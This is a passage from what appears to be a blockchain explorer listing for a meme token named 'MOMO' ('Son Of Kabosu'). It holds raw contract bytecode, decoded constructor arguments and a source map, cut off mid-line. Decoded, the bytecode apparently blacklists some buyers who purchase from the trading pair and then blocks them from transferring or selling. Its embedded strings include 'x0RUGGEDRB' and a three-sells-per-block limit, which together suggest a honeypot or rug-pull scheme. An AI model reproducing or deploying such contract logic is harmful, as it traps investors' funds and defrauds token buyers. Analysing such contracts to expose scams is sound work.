00000000000000000000000000000000000008152600401610b9290612f8a565b60405180910390fd5b6009600a610ba99190612eb5565b6305f5e100610bb89190612eff565b6013819055506009600a610bcc9190612eb5565b6305f5e100610bdb9190612eff565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c109190612eb5565b6305f5e100610c1f9190612eff565b604051610c2c9190612a1c565b60405180910390a1565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c766114f5565b73ffffffffffffffffffffffffffffffffffffffff1614610c95575f80fd5b5f610c9f3061089f565b90505f811115610cb357610cb2816123a2565b5b5f4790505f811115610cc957610cc88161260d565b5b5050565b610cd56114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612f8a565b60405180910390fd5b601860149054906101000a900460ff1615610db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da89061301f565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e3030337fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b610e6830610e636064610e55605f610e473361089f565b61267590919063ffffffff16565b6126ec90919063ffffffff16565b610aea565b5060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ed3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ef79190613051565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f7d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fa19190613051565b6040518363ffffffff1660e01b8152600401610fbe92919061307c565b6020604051808303815f875af1158015610fda573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ffe9190613051565b60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506110893060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d13061089f565b5f806110db610a33565b426040518863ffffffff1660e01b81526004016110fd969594939291906130e5565b60606040518083038185885af1158015611119573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061113e9190613158565b50505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111de9291906131a8565b6020604051808303815f875af11580156111fa573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061121e91906131f9565b506001601860166101000a81548160ff0219169083151502179055506001601860146101000a81548160ff021916908315150217905550565b61125f6114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e290612f8a565b60405180910390fd5b5f5b815181101561137257600160075f84848151811061130e5761130d612fa8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806001019150506112ed565b5050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6114006114f5565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612f8a565b60405180910390fd5b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114cc6114f5565b73ffffffffffffffffffffffffffffffffffffffff16146114eb575f80fd5b80600c8190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361156a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156190613294565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cf90613322565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116b29190612a1c565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361172d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611724906133b0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361179b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117929061343e565b60405180910390fd5b5f81116117dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d4906134cc565b60405180910390fd5b5f6117e6610a33565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156118545750611824610a33565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c775760075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156118f7575060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b6118ff575f80fd5b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119a8575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119fb575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611a4e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611c7657600160035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506009600a611ab69190612eb5565b62086470611ac49190612eff565b821115611bad5760025f815480929190611add906134ea565b919050555060015460025411611ba857600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051611b9f9190613531565b60405180910390a35b611c75565b6001546002541015611c7457600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f604051611c6b9190613531565b60405180910390a35b5b5b5b611cb36064611ca5600d5460105411611c9257600954611c96565b600b545b8561267590919063ffffffff16565b6126ec90919063ffffffff16565b905060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d5e575060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611db1575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611e6b57601354821115611dfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df290613594565b60405180910390fd5b60145482611e088561089f565b611e1291906135b2565b1115611e53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4a9061362f565b60405180910390fd5b60105f815480929190611e65906134ea565b91905055505b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ef357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f3757611f346064611f26600e5460105411611f1357600a54611f17565b600c545b8561267590919063ffffffff16565b6126ec90919063ffffffff16565b90505b5f611f413061089f565b9050601860159054906101000a900460ff16158015611fac575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611fc45750601860169054906101000a900460ff165b8015611fd1575060155481115b8015611fe05750600f54601054115b1561208f57601a54431115611ff7575f6019819055505b60036019541061203c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203390613697565b60405180910390fd5b6120596120548461204f84601654612735565b612735565b6123a2565b5f4790505f81111561206f5761206e4761260d565b5b60195f815480929190612081906134ea565b919050555043601a81905550505b5f82111561218e576120e78260045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274d90919063ffffffff16565b60045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121859190612a1c565b60405180910390a35b6121de8360045f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127aa90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061228161223583856127aa90919063ffffffff16565b60045f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461274d90919063ffffffff16565b60045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61232485876127aa90919063ffffffff16565b6040516123319190612a1c565b60405180910390a35050505050565b5f838311158290612387576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161237e91906128de565b60405180910390fd5b505f838561239591906136b5565b9050809150509392505050565b6001601860156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156123d9576123d8612abd565b5b6040519080825280602002602001820160405280156124075781602001602082028036833780820191505090505b50905030815f8151811061241e5761241d612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124e69190613051565b816001815181106124fa576124f9612fa8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125603060175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114fc565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016125c295949392919061379f565b5f604051808303815f87803b1580156125d9575f80fd5b505af11580156125eb573d5f803e3d5ffd5b50505050505f601860156101000a81548160ff02191690831515021790555050565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612671573d5f803e3d5ffd5b5050565b5f808303612685575f90506126e6565b5f82846126929190612eff565b90508284826126a19190613824565b146126e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126d8906138c4565b60405180910390fd5b809150505b92915050565b5f61272d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127f3565b905092915050565b5f8183106127435781612745565b825b905092915050565b5f80828461275b91906135b2565b9050838110156127a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127979061392c565b60405180910390fd5b8091505092915050565b5f6127eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612340565b905092915050565b5f8083118290612839576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283091906128de565b60405180910390fd5b505f83856128479190613824565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561288b578082015181840152602081019050612870565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6128b082612854565b6128ba818561285e565b93506128ca81856020860161286e565b6128d381612896565b840191505092915050565b5f6020820190508181035f8301526128f681846128a6565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6129388261290f565b9050919050565b6129488161292e565b8114612952575f80fd5b50565b5f813590506129638161293f565b92915050565b5f819050919050565b61297b81612969565b8114612985575f80fd5b50565b5f8135905061299681612972565b92915050565b5f80604083850312156129b2576129b1612907565b5b5f6129bf85828601612955565b92505060206129d085828601612988565b9150509250929050565b5f8115159050919050565b6129ee816129da565b82525050565b5f602082019050612a075f8301846129e5565b92915050565b612a1681612969565b82525050565b5f602082019050612a2f5f830184612a0d565b92915050565b5f805f60608486031215612a4c57612a4b612907565b5b5f612a5986828701612955565b9350506020612a6a86828701612955565b9250506040612a7b86828701612988565b9150509250925092565b5f60ff82169050919050565b612a9a81612a85565b82525050565b5f602082019050612ab35f830184612a91565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612af382612896565b810181811067ffffffffffffffff82111715612b1257612b11612abd565b5b80604052505050565b5f612b246128fe565b9050612b308282612aea565b919050565b5f67ffffffffffffffff821115612b4f57612b4e612abd565b5b602082029050602081019050919050565b5f80fd5b5f612b76612b7184612b35565b612b1b565b90508083825260208201905060208402830185811115612b9957612b98612b60565b5b835b81811015612bc25780612bae8882612955565b845260208401935050602081019050612b9b565b5050509392505050565b5f82601f830112612be057612bdf612ab9565b5b8135612bf0848260208601612b64565b91505092915050565b5f60208284031215612c0e57612c0d612907565b5b5f82013567ffffffffffffffff811115612c2b57612c2a61290b565b5b612c3784828501612bcc565b91505092915050565b5f60208284031215612c5557612c54612907565b5b5f612c6284828501612955565b91505092915050565b612c748161292e565b82525050565b5f602082019050612c8d5f830184612c6b565b92915050565b5f8060408385031215612ca957612ca8612907565b5b5f612cb685828601612955565b9250506020612cc785828601612955565b9150509250929050565b5f60208284031215612ce657612ce5612907565b5b5f612cf384828501612988565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680612d4057607f821691505b602082108103612d5357612d52612cfc565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612ddb57808604811115612db757612db6612d59565b5b6001851615612dc65780820291505b8081029050612dd485612d86565b9450612d9b565b94509492505050565b5f82612df35760019050612eae565b81612e00575f9050612eae565b8160018114612e165760028114612e2057612e4f565b6001915050612eae565b60ff841115612e3257612e31612d59565b5b8360020a915084821115612e4957612e48612d59565b5b50612eae565b5060208310610133831016604e8410600b8410161715612e845782820a905083811115612e7f57612e7e612d59565b5b612eae565b612e918484846001612d92565b92509050818404811115612ea857612ea7612d59565b5b81810290505b9392505050565b5f612ebf82612969565b9150612eca83612a85565b9250612ef77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612de4565b905092915050565b5f612f0982612969565b9150612f1483612969565b9250828202612f2281612969565b91508282048414831517612f3957612f38612d59565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612f7460208361285e565b9150612f7f82612f40565b602082019050919050565b5f6020820190508181035f830152612fa181612f68565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61300960178361285e565b915061301482612fd5565b602082019050919050565b5f6020820190508181035f83015261303681612ffd565b9050919050565b5f8151905061304b8161293f565b92915050565b5f6020828403121561306657613065612907565b5b5f6130738482850161303d565b91505092915050565b5f60408201905061308f5f830185612c6b565b61309c6020830184612c6b565b9392505050565b5f819050919050565b5f819050919050565b5f6130cf6130ca6130c5846130a3565b6130ac565b612969565b9050919050565b6130df816130b5565b82525050565b5f60c0820190506130f85f830189612c6b565b6131056020830188612a0d565b61311260408301876130d6565b61311f60608301866130d6565b61312c6080830185612c6b565b61313960a0830184612a0d565b979650505050505050565b5f8151905061315281612972565b92915050565b5f805f6060848603121561316f5761316e612907565b5b5f61317c86828701613144565b935050602061318d86828701613144565b925050604061319e86828701613144565b9150509250925092565b5f6040820190506131bb5f830185612c6b565b6131c86020830184612a0d565b9392505050565b6131d8816129da565b81146131e2575f80fd5b50565b5f815190506131f3816131cf565b92915050565b5f6020828403121561320e5761320d612907565b5b5f61321b848285016131e5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61327e60248361285e565b915061328982613224565b604082019050919050565b5f6020820190508181035f8301526132ab81613272565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61330c60228361285e565b9150613317826132b2565b604082019050919050565b5f6020820190508181035f83015261333981613300565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61339a60258361285e565b91506133a582613340565b604082019050919050565b5f6020820190508181035f8301526133c78161338e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61342860238361285e565b9150613433826133ce565b604082019050919050565b5f6020820190508181035f8301526134558161341c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6134b660298361285e565b91506134c18261345c565b604082019050919050565b5f6020820190508181035f8301526134e3816134aa565b9050919050565b5f6134f482612969565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361352657613525612d59565b5b600182019050919050565b5f6020820190506135445f8301846130d6565b92915050565b7f4578636565647320746865205f7831435249535059582e0000000000000000005f82015250565b5f61357e60178361285e565b91506135898261354a565b602082019050919050565b5f6020820190508181035f8301526135ab81613572565b9050919050565b5f6135bc82612969565b91506135c783612969565b92508282019050808211156135df576135de612d59565b5b92915050565b7f457863656564732074686520783052554747454452422e0000000000000000005f82015250565b5f61361960178361285e565b9150613624826135e5565b602082019050919050565b5f6020820190508181035f8301526136468161360d565b9050919050565b7f4f6e6c7920332073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f61368160178361285e565b915061368c8261364d565b602082019050919050565b5f6020820190508181035f8301526136ae81613675565b9050919050565b5f6136bf82612969565b91506136ca83612969565b92508282039050818111156136e2576136e1612d59565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61371a8161292e565b82525050565b5f61372b8383613711565b60208301905092915050565b5f602082019050919050565b5f61374d826136e8565b61375781856136f2565b935061376283613702565b805f5b838110156137925781516137798882613720565b975061378483613737565b925050600181019050613765565b5085935050505092915050565b5f60a0820190506137b25f830188612a0d565b6137bf60208301876130d6565b81810360408301526137d18186613743565b90506137e06060830185612c6b565b6137ed6080830184612a0d565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61382e82612969565b915061383983612969565b925082613849576138486137f7565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6138ae60218361285e565b91506138b982613854565b604082019050919050565b5f6020820190508181035f8301526138db816138a2565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613916601b8361285e565b9150613921826138e2565b602082019050919050565b5f6020820190508181035f8301526139438161390a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122081861461d7cadd0869c07127e78660a6bc010d0a3a31c4baa3e428f83f036fb764736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000044d4f4d4f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d536f6e204f66204b61626f737500000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): MOMO
Arg [1] : symbol_ (string): Son Of Kabosu

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000040
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [3] : 4d4f4d4f00000000000000000000000000000000000000000000000000000000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 536f6e204f66204b61626f737500000000000000000000000000000000000000


Deployed Bytecode Sourcemap

3127:7776:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5112:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5821:141;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4247:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5337:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3307:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5966:285;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5262:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9511:136;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4149:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4101:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9651:73;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4198:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3344:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5424:107;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2346:128;;;;;;;;;;;;;:::i;:::-;;2172:67;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5185:73;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5535:147;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9150:137;;;;;;;;;;;;;:::i;:::-;;10620:280;;;;;;;;;;;;;:::i;:::-;;9728:735;;;;;;;;;;;;;:::i;:::-;;9375:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5686:131;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10467:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5112:69;5149:13;5173:5;5166:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5112:69;:::o;5821:141::-;5896:4;5905:39;5914:12;:10;:12::i;:::-;5928:7;5937:6;5905:8;:39::i;:::-;5954:4;5947:11;;5821:141;;;;:::o;4247:46::-;;;;:::o;5337:83::-;5390:7;3986:1;4037:2;:13;;;;:::i;:::-;4025:9;:25;;;;:::i;:::-;5402:14;;5337:83;:::o;3307:34::-;;;;:::o;5966:285::-;6064:4;6073:36;6083:6;6091:9;6102:6;6073:9;:36::i;:::-;6112:121;6121:6;6129:12;:10;:12::i;:::-;6143:89;6181:6;6143:89;;;;;;;;;;;;;;;;;:11;:19;6155:6;6143:19;;;;;;;;;;;;;;;:33;6163:12;:10;:12::i;:::-;6143:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;6112:8;:121::i;:::-;6243:4;6236:11;;5966:285;;;;;:::o;5262:71::-;5303:5;3986:1;5313:16;;5262:71;:::o;9511:136::-;2285:12;:10;:12::i;:::-;2275:22;;:6;;;;;;;;;;:22;;;2267:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9578:6:::1;9573:71;9594:6;:13;9590:1;:17;9573:71;;;9635:5;9617:4;:15;9622:6;9629:1;9622:9;;;;;;;;:::i;:::-;;;;;;;;9617:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;9609:3;;;;;;;9573:71;;;;9511:136:::0;:::o;4149:46::-;;;;:::o;4101:45::-;;;;:::o;9651:73::-;9698:4;9713;:7;9718:1;9713:7;;;;;;;;;;;;;;;;;;;;;;;;;9706:14;;9651:73;;;:::o;4198:46::-;;;;:::o;3344:34::-;;;;:::o;5424:107::-;5490:7;5509:9;:18;5519:7;5509:18;;;;;;;;;;;;;;;;5502:25;;5424:107;;;:::o;2346:128::-;2285:12;:10;:12::i;:::-;2275:22;;:6;;;;;;;;;;:22;;;2267:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2445:1:::1;2408:40;;2429:6;::::0;::::1;;;;;;;;2408:40;;;;;;;;;;;;2468:1;2451:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2346:128::o:0;2172:67::-;2210:7;2229:6;;;;;;;;;;;2222:13;;2172:67;:::o;5185:73::-;5224:13;5248:7;5241:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5185:73;:::o;5535:147::-;5613:4;5622:42;5632:12;:10;:12::i;:::-;5646:9;5657:6;5622:9;:42::i;:::-;5674:4;5667:11;;5535:147;;;;:::o;9150:137::-;2285:12;:10;:12::i;:::-;2275:22;;:6;;;;;;;;;;:22;;;2267:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3986:1:::1;4037:2;:13;;;;:::i;:::-;4025:9;:25;;;;:::i;:::-;9206:10;:20;;;;3986:1;4037:2;:13;;;;:::i;:::-;4025:9;:25;;;;:::i;:::-;9229:11;:19;;;;9256:27;3986:1;4037:2;:13;;;;:::i;:::-;4025:9;:25;;;;:::i;:::-;9256:27;;;;;;:::i;:::-;;;;;;;;9150:137::o:0;10620:280::-;10688:10;;;;;;;;;;;10674:24;;:12;:10;:12::i;:::-;:24;;;10666:33;;;;;;10702:20;10723:24;10741:4;10723:9;:24::i;:::-;10702:45;;10766:1;10753:12;:14;10750:55;;;10771:30;10788:12;10771:16;:30::i;:::-;10750:55;10807:18;10826:21;10807:40;;10864:1;10853:10;:12;10850:47;;;10869:24;10882:10;10869:12;:24::i;:::-;10850:47;10663:237;;10620:280::o;9728:735::-;2285:12;:10;:12::i;:::-;2275:22;;:6;;;;;;;;;;:22;;;2267:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9782:11:::1;;;;;;;;;;;9781:12;9773:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;9861:42;9824:15;;:80;;;;;;;;;;;;;;;;;;9907:54;9924:4;9931:10;9943:17;9907:8;:54::i;:::-;9964:63;9981:4;9988:38;10022:3;9988:29;10014:2;9988:21